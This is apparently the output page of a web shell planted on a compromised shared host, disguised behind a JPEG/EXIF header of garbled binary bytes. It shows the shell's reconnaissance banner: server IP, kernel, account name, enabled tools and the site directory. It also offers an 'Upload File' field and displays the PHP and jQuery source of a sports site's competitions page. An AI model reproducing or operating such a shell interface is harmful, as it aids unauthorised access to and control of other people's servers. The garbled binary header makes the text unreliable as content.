����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 162.0.232.25 / Your IP : 18.117.145.41 Web Server : LiteSpeed System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : kwacuqig ( 988) PHP Version : 8.2.26 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/kwacuqig/sportsmycareer.com/ |
Upload File : |
<?php include './head.php'; include './navbar.php'; ?> <header class="page-header" data-background="img/players.jpg"> <div class="container"> <h2>Competitions</h2> <div class="bosluk3"></div> <p> <a href="home">Home</a> <i class="flaticon-right-chevron"></i> Competitions </p> </div> <!-- end container --> </header> <main> <!--Players--> <section data-background="#ffffff"> <div class="container"> <select id="sport"> <option value="" disabled selected>Select Sport</option> <?php $run1 = mysqli_query($conn, "SELECT * FROM `categories` ORDER BY `category` ASC") or die(mysqli_error($conn)); while ($row1 = mysqli_fetch_array($run1)) { ?> <option><?php echo $row1['category']; ?></option> <?php } ?> </select> <div id="resultContainer"></div> </div> </section> <div class="bosluk3"></div> </main> <?php include './footer.php';?> <script> document.querySelector("title").innerText = "SMC - Competitions"; document.querySelectorAll("ul.menueffect li a")[2].style.color = "yellow"; $(document).ready(function() { $('#sport').change(function() { var sport = $(this).val(); // Make an AJAX request $.ajax({ url: 'fetch_competitions.php', type: 'POST', data: { option: sport }, success: function(response) { // Handle the response from the server $('#resultContainer').html(response); }, error: function(xhr, status, error) { console.log('Error:', error); } }); }); //automatically load football on load window.onload = function() { $.ajax({ url: 'fetch_competitions.php', type: 'POST', data: { option: 'Foot Ball' }, success: function(response) { // Handle the response from the server $('#resultContainer').html(response); }, error: function(xhr, status, error) { console.log('Error:', error); } }); } }); </script>